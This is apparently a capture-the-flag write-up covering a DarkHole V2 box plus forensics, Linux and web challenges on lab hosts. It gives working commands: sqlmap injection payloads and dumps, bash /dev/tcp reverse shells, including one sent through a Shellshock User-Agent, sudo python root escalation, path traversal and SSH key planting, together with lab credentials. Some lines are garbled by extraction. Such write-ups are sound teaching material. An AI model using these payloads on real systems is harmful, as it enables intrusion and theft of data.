$ nmap -sV -Pn -p- -A 192.168.10.17
Starting Nmap 7.92 (https://nmap.org) at 2022-06-14 06:40 EDT
Nmap scan report for 192.168.10.17
Host is up (0.0043s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
| ssh-hostkey:
   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
1_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
                    Apache httpd 2.4.41 ((Ubuntu))
80/tcp open http
| http-cookie-flags:
   /:
     PHPSESSID:
       httponly flag not set
|_http-title: DarkHole V2
| http-git:
   192.168.10.17:80/.git/
     Git repository found!
     Repository description: Unnamed repository; edit this file 'description' to name the...
```

Last commit message: i changed login.php file for more secure |_http-server-header: Apache/2.4.41 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 332.80 seconds

The scan shows that there are two running services, SSH and a webserver, which has its git repository exposed.

After opening the website in a browser, a link to the login page is shown.




Figure 6: Index page DarkHoleV2




Figure 7: Login page DarkHoleV2

Here we can see there is a login page, but since we do not have any credential yet, we cannot do anything here.

.git

On the exposed git directory we can see the last commit in <code>.git/COMMIT_EDITMSG</code> , which reads:

 $i\ changed\ login.php\ file\ for\ more\ secure$

Index of /.git

Name	Last modified	Size	<u>Description</u>
Parent Directory		_	
COMMIT_EDITMSG	2021-08-30 13:1	4 41	
* HEAD	2021-08-30 13:0	1 23	
? config	2021-08-30 13:0	1 130	
description	2021-08-30 13:0	1 73	
hooks/	2021-08-30 13:0	1 -	
index index	2021-08-30 13:1	4 1.3K	
info/	2021-08-30 13:0	1 -	
logs/	2021-08-30 13:0	2 -	
objects/	2021-08-30 13:1	4 -	
refs/	2021-08-30 13:0	1 -	

Apache/2.4.41 (Ubuntu) Server at 192.168.10.17 Port 80

Figure 8: .git page DarkHoleV2

To further investigate the source code, the repository is downloaded using git-dump.

Now that we have stored the content of the web in the our local directory ./website we are running the command git diff with the last commit id to see the changes to the login.php .

```
$ pip install git-dumper
$ git-dumper http://192.168.10.17 ./website
$ git diff a4d900a8d85e8938d3601f3cef113ee293028e10
diff --git a/login.php b/login.php
index 8a0ff67..0904b19 100644
--- a/login.php
+++ b/login.php
00 -2,7 +2,10 00
session_start();
require 'config/config.php';
 if($_SERVER['REQUEST_METHOD'] == 'POST'){
     if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
     $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
     $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
     $check = $connect->query("select * from users where email='$email' and password='$pass'
   and id=1");
    if($check->num_rows){
```

```
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die():
```

So now that we have the credentials <code>lush@admin.com:321</code> as user and password we can use them to login as the admin. It shows a profile page of our user.




Figure 9: User page DarkHoleV2 $\,$

SQL Inject

Using burpsuite we save a request which contains an authenticated cookie, to be used by that we try to SQL inject all possible parameters.

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state

```
and federal laws. Developers assume no liability and are not responsible for any misuse
    or damage caused by this program
[*] starting @ 12:40:59 /2022-06-15/
[12:40:59] [INFO] parsing HTTP request from 'request.txt'
[12:40:59] [INFO] resuming back-end DBMS 'mysql'
[12:40:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
   Type: time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
   Payload: id=1' AND (SELECT 7829 FROM (SELECT(SLEEP(5)))FOXp) AND 'AndS'='AndS
   Type: UNION query
   Title: Generic UNION query (NULL) - 6 columns
   Payload: id=-2051' UNION ALL SELECT NULL, NULL, CONCAT (0x716b717871,
        0x7a5751754e596265786e54434d724b50496467705467475a656f41726a694e7a7a45724d6a674661,
        0x716a6b7a71), NULL, NULL, NULL-- -
[12:40:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[12:40:59] [INFO] fetching database names
available databases [5]:
[*] darkhole_2
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[12:40:59] [INFO] fetched data logged to text files under
    '/home/pascal/.local/share/sqlmap/output/192.168.10.17'
[*] ending @ 12:40:59 /2022-06-15/
$ sqlmap -r request.txt -D darkhole_2 --dump-all --batch
[*] starting @ 12:41:31 /2022-06-15/
[12:41:31] [INFO] parsing HTTP request from 'request.txt'
[12:41:31] [INFO] resuming back-end DBMS 'mysql'
[12:41:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
   Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
   Payload: id=1' AND (SELECT 7829 FROM (SELECT(SLEEP(5)))FOXp) AND 'AndS'='AndS
   Type: UNION query
   Title: Generic UNION query (NULL) - 6 columns
   Payload: id=-2051' UNION ALL SELECT NULL, NULL, CONCAT (0x716b717871,
```

```
0x716a6b7a71), NULL, NULL, NULL-- -
[12:41:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[12:41:31] [INFO] fetching tables for database: 'darkhole 2'
[12:41:31] [INFO] fetching columns for table 'users' in database 'darkhole_2'
[12:41:31] [INFO] fetching entries for table 'users' in database 'darkhole_2'
Database: darkhole_2
Table: users
[1 entry]
+---+
| id | email | address
                                                | password | username | contac
| 1 | lush@admin.com | Street, Pincode, Province/State, Country | 321 | Ayuda por favor | 33
[12:41:31] [INFO] table 'darkhole 2.users' dumped to CSV file
   '/home/pascal/.local/share/sqlmap/output/192.168.10.17/dump/darkhole_2/users.csv
[12:41:31] [INFO] fetching columns for table 'ssh' in database 'darkhole_2'
[12:41:31] [INFO] fetching entries for table 'ssh' in database 'darkhole_2'
Database: darkhole 2
Table: ssh
[1 entry]
+---+
| id | pass | user |
+---+
+---+
[12:41:31] [INFO] table 'darkhole_2.ssh' dumped to CSV file
'/home/pascal/.local/share/sqlmap/output/192.168.10.17/dump/darkhole_2/ssh.csv'
[12:41:31] [INFO] fetched data logged to text files under
'/home/pascal/.local/share/sqlmap/output/192.168.10.17'
[*] ending @ 12:41:31 /2022-06-15/
sqlmap successfully injected the id parameter and retrieved the ssh table, containing authentication
data for the user jehad:fool . With that information, we can connect to the SSH server.
Once we are connected we can find the user flag in the directory of losy.
jehad@darkhole:/home$ cat losy/user.txt
cyberctfd{ejkedSmQx5zEBJz9PjE8gTbPkHr839EY}
Escalate privileges
Running lineas, it shows a cron to start a php server on localhost:9999 in /opt/web/index.php .
* * * * * losy cd /opt/web && php -S localhost:9999
The php script executes commands that it received,
jehad@darkhole:~$ cat /opt/web/index.php
<?php
```

0x7a5751754e596265786e54434d724b50496467705467475a656f41726a694e7a7a45724d6a674661,

```
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>
On the attacker machine a reverse shell using nc -lvp 1337
                                                                                                                                         and portforwarding using SSH with
ssh jehad@192.168.10.17 -L 9999:localhost:9999 is started.
We send this payload urlencoded to activate the reverse shell:
bash -c 'bash -i > & /dev/tcp/192.168.9.4/1337 0> & 1
$ curl 192.168.10.17:9999/index.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev
         %2Ftcp%2F192.168.9.4%2F1337%200%3E%261%27
Escalate privileges, again
Now that we have a shell as losy, we take a look in the .bash_history .
$ ls -lah ~/.bash history
P0assw0rd losy:gang
sudo -1
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo python -c 'import os; os.system("/bin/sh")'
sudo /usr/bint/python3 -c 'import os; os.system("/bin/sh")'
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
. . .
From that we can conclude, that losy can execute python as root and has the password gang. We can use
that to connect via ssh, to use sudo. The python shell is executed to gain root rights and extract the flag.
losy@darkhole:~$ sudo -1
[sudo] password for losy:
Matching Defaults entries for losy on darkhole:
         env_reset, mail_badpass,
         secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/sbin\:/sbin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shi
User losy may run the following commands on darkhole:
         (root) /usr/bin/python3
losy@darkhole:~$ sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cyberctfd{tuF9WIjTCUGyKe8JVKGmqSaDuHp4mQqc}
```

Forensic Analysis

Forensic Analysis 01

```
Analyze the file, and discover the Flag hidden in it.
```

The challenge includes a downloadable file called analise_forense_1.pcap , which is a packet capture and could be read using Wireshark.

To not waste time searching in Wireshark, the bash command strings is used. It shows all printable characters of binary files.

```
strings analise_forense_1.pcap | grep cyberctfd
```

csrfmiddlewaretoken=qcnY4Ia8LXUR80tkeo24gbycYQcty0CkMdRn1uL8QtrMEfXtVpnAk0zJTnnC3yCq &username=admin&password=cyberctfd%7Bn07_50_53cur3%7Dj

The flag is send as password and is urlencoded, since it is used in a url.

Forensic Analysis 02

A system maintained by IPB has been showing abnormal behavior by generating broadcast traffic every few seconds.

The Machine IP is 192.168.10.150.

Analyze the traffic and discover the flag.

In case you are connected by VPN, access the following machine to help you analyze the traffic generated by the system. Use the credentials provided for the VPN to access it.

```
ssh -Y -p 9090 your user name@192.168.10.14
```

To analyse the traffic, Wireshark and tcpdump over SSH is used.

```
$ ssh -Y -p 9999 192.168.10.14 -v -l $SSHUSER tcpdump -U -w - ! port 9999 | wireshark -i - -k
```

In Wireshark the filter eth.src == 08:00:27:38:6b:da is applied, to only show traffic that is coming from the MAC address of the abnormal machine. The traffic consist of purely ping packets, most of them are 42 bytes long with one packet of 82 bytes length every now and then. This longer packet contains ASCII text, base64 encoded.

```
.......'8k...E.
0000
      ff ff ff ff ff 08 00 27 38 6b da 08 00 45 00
      00 44 00 01 00 00 40 01 e4 80 c0 a8 0a 96 c0 a8
                                                         .D....@......
0010
0020
      0a 51 08 00 0d 5e 00 00 00 00 59 33 6c 69 5a 58
                                                         .Q...^....Y31iZX
      4a 6a 64 47 5a 6b 65 33 41 78 62 6a 5a 66 4d 47
                                                        JjdGZke3AxbjZfMG
0030
      5a 66 5a 44 4d 30 4e 32 68 66 62 54 52 75 66 51
0040
                                                        ZfZDMON2hfbTRufQ
0050
      3d 3d
```

After decoding the flag can be seen.

```
\ echo\ "Y31iZXJjdGZke3AxbjZfMGZfZDMON2hfbTRufQ==" | base64 -d cyberctfd{p1n6_0f_d347h_m4n}
```

Forensic Analysis 03

A system maintained by IPB, was the target of multiple attacks. Analyze the log and discover the timestamp in which the "Command Injection" attack occurred.

Make sure to wrap the flag with cyberctfd{} before submitting the answer. The [] is also included.

The supplied analise_forense_3.txt , is a text file, showing logs and is 6540 lines long. We search for a command injection.

We realised that were too many command injection so it must me unique. With the help of this guide, we started looking for a unique output searching for those common words.

Finally, with the key word arg we manage to found an output that also matches with the prerequisites, so that must be the command injection we look for.

```
$ cat analise_forense_3.txt| grep arg
"192.168.4.25 - - [22/Dec/2016:16:31:51 +0300] "GET /index.php?arg=8.8.8.8;system('id')
HTTP/1.1" 500 1983 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21""
```

Linux

Linux 01

```
Can you capture the flag?

Execute the following command to obtain a reverse shell on your local machine.

nc 192.168.10.7 7777
```

```
dir shows that there is a file called flag.txt , echo is used to print the content out.

user @ csictf: $ dir
flag.txt script.sh start.sh

user @ csictf: $ echo "$(<flag.txt)"
cyberctfd{d4mn_1_h473_c0w5}
```

Linux 02

```
Can you capture the flag?

Execute the following command to obtain a reverse shell on your local machine.

nc 192.168.10.7 9999
```

```
$ nc 192.168.10.7 9999
```

Where am I?

The first command executed was <code>ls</code> , you can see a directory called <code>ytdl</code> , without any suspicious content. After further inverstigation, we found out that the root directory has accessible, private content:

- authorized keys Specifies the SSH keys that can be used for logging into the user account
- id_rsa Here is stored the private key of the root user
- id_rsa.pub Here is stored the public key of the root user

With the private key a ssh connection could be done as the root account. Since this a reverse shell which does not expose a SSH server, the connection is done through the reverse shell.

With the command ssh root@localhost -i /root/.ssh/id_rsa 2>&1 a connection is started. This returns the error Host key verification failed. .

To bypass this verification the flag -o StrictHostKeyChecking=no can be used.

```
$ ssh root@localhost -i /root/.ssh/id_rsa -o StrictHostKeyChecking=no
```

Y31iZXJjdGZkezFuZDMzZF93aDNyM193NDVfMX0=

This message is base64 encoded, after decoding the flag is shown.

```
$ echo "Y3liZXJjdGZkezFuZDMzZF93aDNyM193NDVfMX0=" | base64 -d
cyberctfd{1nd33d_wh3r3_w45_1}
```

Linux 03

```
I should have really named my files better. I thought I've hidden the flag, now I can't find it myself.
   (Wrap your flag in cyberctfd{})
   ssh user1@192.168.10.6
   The password is cyberctfdpassword123.
First we try a simple search command, to show any file that contains the character ctf .
find . -type f -exec grep -Hn "ctf" {} \;
With it, a file called MITS1KT3 is shown that contains the string
cyberctfd{not_the_flag}{user2:AAE976A5232713355D58584CFE5A5}
With this information we switch to the second user.
user1@597bad1ae3ec:~$ su user2
Password: AAE976A5232713355D58584CFE5A5
user2@597bad1ae3ec:/user1$ cd
user2@597bad1ae3ec:~$ ls -la
total 3708
drwxr-x--- 1 root user2 4096 May 21 11:17 .
                           4096 Jun 17 07:15 ...
drwxr-xr-x 1 root root
-rwxr-x--- 1 root user2 756782 May 21 11:14 adgsfdgasf.js
-rwxr-x--- 1 root user2 756782 May 21 11:14 fadf.x
-rwxr-x--- 1 root user2 756782 May 21 11:14 janfjdkn.txt
-rwxr-x--- 1 root user2 756782 May 21 11:14 notflag.txt
-rwxr-x--- 1 root user2 756798 May 21 11:14 sadsas.tx
From that listing we see that there is a size difference in sadsas.tx . To show the difference diff is
used.
$ diff fadf.x sadsas.tx
42391a42392
> th15_15_unu5u41
This string looks like the searched flag.
```

Web Hacking

Web Hacking 01

```
The flag is hidden in the following website, can you get it?

http://192.168.10.5:8080
```

```
The website is a simple html site with some styling.
```

```
$ curl http://192.168.10.5:8080
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Cascade</title>
    <link rel="stylesheet" href="/static/style.css">
</head>
<body>
    <h1>Welcome to CyberCTFd</h1>
    <div>CTFd: <a href="https://192.168.10.3">https://192.168.10.3</a></div>
    <div>Kali: <a href="https://www.kali.org/">https://www.kali.org/</a></div>
</body>
</html>
After a look at the stylesheet, the flag was found:
$ curl http://192.168.10.5:8080/static/style.css
body {
    background-color: purple;
    text-align: center;
    display: flex;
    align-items: center;
    flex-direction: column;
}
h1, div, a {
    /* cyberctfd{w3lc0me_t0_cyb3rc7fd} */
    color: white;
    font-size: 3rem;
}
```

Web Hacking 02

```
The flag is hidden in the following website, can you get it?

http://192.168.10.5:8090
```

When accessing the website, a Cookie is set flavour=c3RyYXdiZXJyeQ%3D%3D . The %3D is urlencoded for = . The Content is encoded using base64 and decodes to strawberry

```
$ echo "c3RyYXdiZXJyeQ==" | base64 -d
strawberry
```

The website shows text that reads: > My nephew is a fussy eater and is only willing to eat chocolate cookies. Any other flavor and he throws a tantrum.

So if the cookie gets changed to chocolate base64 encoded, the flag will be returned:

```
$ echo "chocolate" | base64
Y2hvY29sYXR1
```

cyberctfd{br0b0t_1s_pr3tty_c001}

```
$ curl http://192.168.10.5:8090 --cookie flavour=Y2hvY29sYXR1
cyberctfd{ch0c01473_c00k135_4r3_my_f4v0r173}
```

Web Hacking 03

```
"People who get violent get that way because they can't communicate."

http://192.168.10.5:8100
```

The website shows text about a telegram bot called BroBot with a link to a GitHub repository. Since there are no clues in neither the headers, source code nor git repository, a gobuster search is concluded.

```
The robots.txt sets a disallow to /fade/to/black, which contains the flag.
$ gobuster dir -u http://192.168.10.5:8100 -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                      http://192.168.10.5:8100
[+] Method:
                      GET
[+] Threads:
[+] Wordlist:
                      /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
                      gobuster/3.1.0
[+] User Agent:
[+] Timeout:
                      10s
______
2022/06/08 22:37:15 Starting gobuster in directory enumeration mode
/robots.txt
                 (Status: 200) [Size: 140]
_____
2022/06/08 22:38:25 Finished
_____
$ curl http://192.168.10.5:8100/robots.txt
# Hey there, you're not a robot, yet I see you sniffing through this file.
# SEO you later!
# Now get off my lawn.
Disallow: /fade/to/black
$ curl http://192.168.10.5:8100/fade/to/black
```

Web Hacking 04

```
The Flag is hidden somewhere on the website, can you find it?
http://192.168.10.5:5000
Warning, the Flag is split into 2 parts, make sure to find them and combine both parts before submitting.
```

The webserver is a guicorn, so a python based server. On initial request it redirects to /index.template . The HTML source has a comment in the last line which shows the source file name server.py .

When requested, the server sends the raw source code, containing the first part of the flag.

```
$ curl http://192.168.10.5:5000/server.py
import flask, sys, os
import requests
app = flask.Flask( name )
counter = 12345672
@app.route('/<path:page>')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);
@app.route('/')
def home():
    return flask.redirect('/index.template');
if __name__ == '__main__':
    flag1 = 'FLAG PART 1: Y3liZXJjdGZke2Qwbjdf'
    with open('/flag') as f:
            flag2 = f.read()
    print("Ready set go!")
    sys.stdout.flush()
    app.run(host="0.0.0.0")
<!-- page: server.py, src: /code/server.py -->
The code indicates that the second flag is in the file called flag . Since it is one level higher that the
file name, the flag can be obtained.
```

server.py , we need to exploit a Path Traversal vulnerability. With the ... urlencoded in front of the

```
$ curl http://192.168.10.5:5000NXBsMTdfbTNfNHAOcjd9
<!-- page: ../flag, src: /code/server.py -->
```

Combining the two flag parts yields the full, base64 encoded, flag.

```
\ echo "Y3liZXJjdGZke2QwbjdfNXBsMTdfbTNfNHAOcjd9" | base64 -d cyberctfd{d0n7_5pl17_m3_4p4r7}
```

Web Hacking 05

Explore and discover possible vulnerabilities of the machine to gain access and capture the Flag. IP: 192.168.10.8

Nmap

Since the challenge is not showing a port, we first do a port scan using nmap.

```
$ nmap -p- 192.168.10.8
Nmap scan report for 192.168.10.8
Host is up (0.073s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT
        STATE SERVICE
22/tcp
        open ssh
8110/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 46.49 seconds
The webserver on port 8110 requires authentication and sends a header containing the admin data.
$ curl -I http://192.168.10.8:8110
HTTP/1.1 401 Unauthorized
Date: Mon, 06 Jun 2022 19:43:42 GMT
Content-Type: text/html
Content-Length: 172
Connection: keep-alive
WWW-Authenticate: Basic realm="Registry realm"
Server: admin : PmFKFzNUzlITtN5mEVr1n9mExOCOWRjc
$ curl http://192.168.10.8:8110 -u admin:PmFKFzNUzlITtN5mEVr1n9mEx0COWRjc
<html>
    <head><title>Vulnerables | ShellShock</title></head>
    <style>
    .fig {
       text-align: center;
   body {
   background-color: #0a0a0a;
  </style>
        <img src="webpage-img.jpg" alt="Here's nothing. ">
    </body>
</html>
```

The title says Vulnerables | ShellShock and an image showing shellshock. Since shellshock is a vulnerability in bash execution, we need a /cgi-bin/ file. To find it, gobuster is used.

```
$ gobuster dir -u http://192.168.10.8:8110 -w /usr/share/wordlists/dirb/common.txt -U admin -P PmFKFzNU
______
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
______
[+] Url:
                         http://192.168.10.8:8110
[+] Method:
                         GET
[+] Threads:
[+] Wordlist:
                         /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:
                         gobuster/3.1.0
[+] Auth User:
                         admin
[+] Timeout:
                         10s
______
2022/06/06 22:11:05 Starting gobuster in directory enumeration mode
______
                   (Status: 403) [Size: 281]
/.hta
/.htpasswd
                  (Status: 403) [Size: 286]
                  (Status: 403) [Size: 286]
/.htaccess
                   (Status: 403) [Size: 285]
/cgi-bin/
/index.html
                  (Status: 200) [Size: 279]
/index
                   (Status: 200) [Size: 279]
                   (Status: 200) [Size: 202]
/robots
                   (Status: 200) [Size: 202]
/robots.txt
                  (Status: 403) [Size: 290]
/server-status
______
2022/06/06 22:12:20 Finished
The robots.txt shows a hint that this machine is vulnerable and contains a link to /cgi-bin/vulnerable
$ curl http://192.168.10.8:$PORT/robots.txt -u $AUTH
/cgi-bin/vulnerable
This machine appears to be vulnerable to Shellshock, try to obtain a reverse shell.
Using the shellshock exploit and id as the command, the vulnerability can be detected.
$ curl -A "() { :;}; echo; /bin/bash -c 'id'" http://192.168.10.8:$PORT/cgi-bin/vulnerable -u $AUTH
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell With a reverse shell opened on the attacker machine using nc -lvp 1337 and a bash
reverse shell through the vulnerability, a shell can be obtained.
In the home folder is a script called touchmenot.sh which executes a bash shell as the user joaquim.
$ curl -A "() { :;}; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.9.2/1337 0>&1'" http://192.168.10.
www-data@01557ef5aa3b:/usr/lib/cgi-bin$ cd /home
www-data@01557ef5aa3b:/home$ ./touchmenot.sh
$ id
uid=33(www-data) gid=33(www-data) euid=1000(joaquim) egid=1000(joaquim) groups=1000(joaquim),33(www-data
$ cd /home/joaquim
```

```
$ 1s -lah
total 28K
drwxr-xr-x 1 joaquim joaquim 4.0K May 21 11:21 .
drwxr-xr-x 1 root
                     root
                            4.0K May 21 11:21 ...
-rw-r--r- 1 joaquim joaquim 220 Sep 25 2014 .bash_logout
-rw-r--r-- 1 joaquim joaquim 3.4K Sep 25 2014 .bashrc
-rw-r--r- 1 joaquim joaquim 675 Sep 25 2014 .profile
drwx---- 2 joaquim joaquim 4.0K May 21 11:21 .ssh
-rw----- 1 joaquim joaquim 341 May 21 11:21 ssh_config.txt
$ cat ssh_config.txt
SSH server is running on a deprecated version.
In order to establish an ssh connection, we need to use ED25519 algorithm.
Create a key with the following command and then paste it on the .ssh/authorized_keys file.
ssh-keygen -t ed25519 -C "your_email@example.com"
To access the server, execute the following command:
ssh -i key user@ip
In the home folder of joaquim there is a ssh_config.txt file containing information on how to create
a ssh key.
$ ssh-keygen -t ed25519 -C "your_email@example.com"
$ cat key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJe+bjgEz9hKqWcFT6bX8bfppr1aTM5zC46oQ/M9Yzd9 your_email@example.com
The key is created on the attacker machine and added to the authorized_keys file for the user. Now a
ssh connection can be used insted of the reverse shell.
$ cd .ssh
$ echo "ssh-ed25519 AAAAC3NzaC11ZDI1NTE5AAAAIJe+bjgEz9hKqWcFT6bX8bfppr1aTM5zC46oQ/M9Yzd9 your_email@exa
$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC11ZDI1NTE5AAAAINQSZDrYvsA+71Dsj52F8d5/qBsURESHx8e++XPigszh test@example.com
ssh-ed25519 AAAAC3NzaC11ZDI1NTE5AAAAIJe+bjgEz9hKqWcFT6bX8bfppr1aTM5zC46oQ/M9Yzd9 your_email@example.com
Since the user is in the sudo group and is not requesting a password, the flag can be retrieved from the
/root/ folder.
$ ssh -i key joaquim@192.168.10.8
$ sudo ls -lah /root
drwx----- 1 root root 4.0K May 21 11:21 .
drwxr-xr-x 1 root root 4.0K Jun 6 07:15 ...
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
```

28 May 21 11:14 flag.zip

-rw-r--r-- 1 root root 140 Nov 19 2007 .profile

/root/flag.zip: ASCII text, with no line terminators

-rw-rw-r-- 1 root root

\$ sudo file /root/flag.zip

```
$ sudo cat /root/flag.zip
Y3liZXJjdGZkezFfNG1fcjAwN30=
```

 $\$ sudo cat /root/flag.zip | base64 -d cyberctfd{1_4m_r007}

The file is base 64 encoded, decoded is the searched flag.